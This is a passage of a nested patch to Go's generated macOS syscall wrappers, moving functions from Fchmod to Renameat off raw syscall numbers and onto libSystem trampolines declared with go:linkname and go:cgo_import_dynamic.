-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_ftruncate_trampoline()
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -805,30 +1323,45 @@ func Getpriority(which int, who int) (prio int, err error) {
- return
- }
-
-+func libc_getpriority_trampoline()
-+
-+//go:linkname libc_getpriority libc_getpriority
-+//go:cgo_import_dynamic libc_getpriority getpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrlimit_trampoline()
-+
-+//go:linkname libc_getrlimit libc_getrlimit
-+//go:cgo_import_dynamic libc_getrlimit getrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getrusage_trampoline), uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getrusage_trampoline()
-+
-+//go:linkname libc_getrusage libc_getrusage
-+//go:cgo_import_dynamic libc_getrusage getrusage "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getsid_trampoline), uintptr(pid), 0, 0)
- sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -836,26 +1369,41 @@ func Getsid(pid int) (sid int, err error) {
- return
- }
-
-+func libc_getsid_trampoline()
-+
-+//go:linkname libc_getsid libc_getsid
-+//go:cgo_import_dynamic libc_getsid getsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_getuid_trampoline()
-+
-+//go:linkname libc_getuid libc_getuid
-+//go:cgo_import_dynamic libc_getuid getuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_issetugid_trampoline), 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
-+func libc_issetugid_trampoline()
-+
-+//go:linkname libc_issetugid libc_issetugid
-+//go:cgo_import_dynamic libc_issetugid issetugid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Kqueue() (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_kqueue_trampoline), 0, 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -863,6 +1411,11 @@ func Kqueue() (fd int, err error) {
- return
- }
-
-+func libc_kqueue_trampoline()
-+
-+//go:linkname libc_kqueue libc_kqueue
-+//go:cgo_import_dynamic libc_kqueue kqueue "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Lchown(path string, uid int, gid int) (err error) {
-@@ -871,13 +1424,18 @@ func Lchown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LCHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_lchown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_lchown_trampoline()
-+
-+//go:linkname libc_lchown libc_lchown
-+//go:cgo_import_dynamic libc_lchown lchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Link(path string, link string) (err error) {
-@@ -891,13 +1449,18 @@ func Link(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_link_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_link_trampoline()
-+
-+//go:linkname libc_link libc_link
-+//go:cgo_import_dynamic libc_link link "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error) {
-@@ -911,37 +1474,32 @@ func Linkat(pathfd int, path string, linkfd int, link string, flags int) (err er
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_LINKAT, uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_linkat_trampoline), uintptr(pathfd), uintptr(unsafe.Pointer(_p0)), uintptr(linkfd), uintptr(unsafe.Pointer(_p1)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_linkat_trampoline()
-+
-+//go:linkname libc_linkat libc_linkat
-+//go:cgo_import_dynamic libc_linkat linkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Listen(s int, backlog int) (err error) {
-- _, _, e1 := Syscall(SYS_LISTEN, uintptr(s), uintptr(backlog), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_listen_trampoline), uintptr(s), uintptr(backlog), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_listen_trampoline()
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_listen libc_listen
-+//go:cgo_import_dynamic libc_listen listen "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -951,13 +1509,18 @@ func Mkdir(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIR, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdir_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdir_trampoline()
-+
-+//go:linkname libc_mkdir libc_mkdir
-+//go:cgo_import_dynamic libc_mkdir mkdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-@@ -966,13 +1529,18 @@ func Mkdirat(dirfd int, path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkdirat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkdirat_trampoline()
-+
-+//go:linkname libc_mkdirat libc_mkdirat
-+//go:cgo_import_dynamic libc_mkdirat mkdirat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mkfifo(path string, mode uint32) (err error) {
-@@ -981,13 +1549,18 @@ func Mkfifo(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKFIFO, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mkfifo_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mkfifo_trampoline()
-+
-+//go:linkname libc_mkfifo libc_mkfifo
-+//go:cgo_import_dynamic libc_mkfifo mkfifo "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mknod(path string, mode uint32, dev int) (err error) {
-@@ -996,13 +1569,18 @@ func Mknod(path string, mode uint32, dev int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_MKNOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mknod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mknod_trampoline()
-+
-+//go:linkname libc_mknod libc_mknod
-+//go:cgo_import_dynamic libc_mknod mknod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Open(path string, mode int, perm uint32) (fd int, err error) {
-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
